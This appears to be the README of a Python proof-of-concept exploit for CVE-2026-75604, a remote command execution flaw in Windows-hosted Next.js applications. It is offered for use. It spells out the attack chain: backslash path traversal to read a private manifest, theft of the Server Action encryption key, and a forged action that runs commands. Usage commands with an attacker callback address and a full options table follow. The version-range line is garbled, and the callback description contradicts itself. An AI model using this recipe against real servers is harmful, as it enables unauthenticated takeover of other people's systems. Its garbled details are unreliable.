## https://sploitus.com/exploit?id=0CBEAA01-B568-5B39-9795-2DFE944BB637
# CVE-2026-75604 RCE PoC
Python proof of concept for [CVE-2026-75604](https://github.com/vercel/next.js/security/advisories/GHSA-p293-qw3h-jr36), a unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components. ## Demonstration
## Requirements
- Next.js `>=13.4 =16.0 =13.4 =16.0 <16.3.3`
- **Fixed versions**:`15.5.24` / `16.3.3`
- **Prerequisites**: Windows file system, coexistence of Pages Router and App Router (without Cache Components), default file system caching, dynamic ISR Pages routing, cached App routing, compatible closure-based Server Action.
**Core principle:** `FileSystemCache` on Windows does not treat backslashes (`\`) as path separators. Attackers can use `..%5C` to traverse cache paths, read the private file `server-reference-manifest.json`, steal the `encryptionKey` of the Server Action, and then forge a closure-based Server Action request to execute arbitrary commands. ## Environment Requirements
- Python 3.9+
- `python -m pip install -r requirements.txt` (cryptography, requests)
- An IPv4 address of an attack machine that can be reconnected
- A Windows target application that meets the above prerequisites
Verified on `next@16.2.11`. ## Usage
```
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
```
| Parameter | Required | Description |
|---|---|---|
| `--target URL` | Yes | Base URL of the Next.js application |
| `--callback-ip ADDRESS` | Yes | IPv4 address of the target that can be reconnected |
| `--pages-cache-path PATH` | Yes | Existing dynamic Pages Router ISR page (traversal anchor) |
| `--app-cache-path PATH` | Yes | Existing dynamic App Router page using file system caching |
| `--command COMMAND` | No | Command to execute (default: `whoami`) |
| `--action-path PATH` | No | App Router page containing a compatible Server Action (default: `/`) |
| `--action-field NAME` | No | Business field for Action form consumption (automatically detected if unique) |
| `--callback-port PORT` | No | Reconnection port (default: `4331`) |
| `--listen-address ADDRESS` | No | Local callback listening address (default: `0.0.0.0`) |
| `--timeout SECONDS` | No | Request and callback timeout (default: `20`) |
| `--insecure` | No | Disable TLS certificate verification |
### Local Target Example
The `target/` repository provides a reproducible example application (locked at `next@16.2.11`, standard production server):
```
cd target
npm ci
npm run build
npm start
```
Run another terminal session:
```
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
```
The example target includes required routes and a compatible Server Action on `/`. ## Disclaimer
This PoC is for educational, security research, and authorized testing purposes only. It can only be run on systems owned by the author or with explicit authorization. It may execute arbitrary commands on the target Windows host. Please test in a destructible environment. ## Attribution & License
- Original PoC author: **rafabd1** (public upstream repository).
- Vulnerability report authors: **evolutionstorm**, **B0RI**.
- This PoC was rebuilt independently based on public advisories and Next.js patch updates.
- The distribution repository uses **MIT License** (see `LICENSE`). ## References
- Upstream PoC image: https://github.com/rafabd1/CVE-2026-75604-poc
- GitHub Security Advisory: https://github.com/vercel/next.js/security/advisories/GHSA-p293-qw3h-jr36
- Fix commit (file-system-cache.ts + escape-path-delimiters.ts): https://github.com/vercel/next.js/commit/09f9c8a758a6b20f248b0e90e539bba8225c73bb
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-75604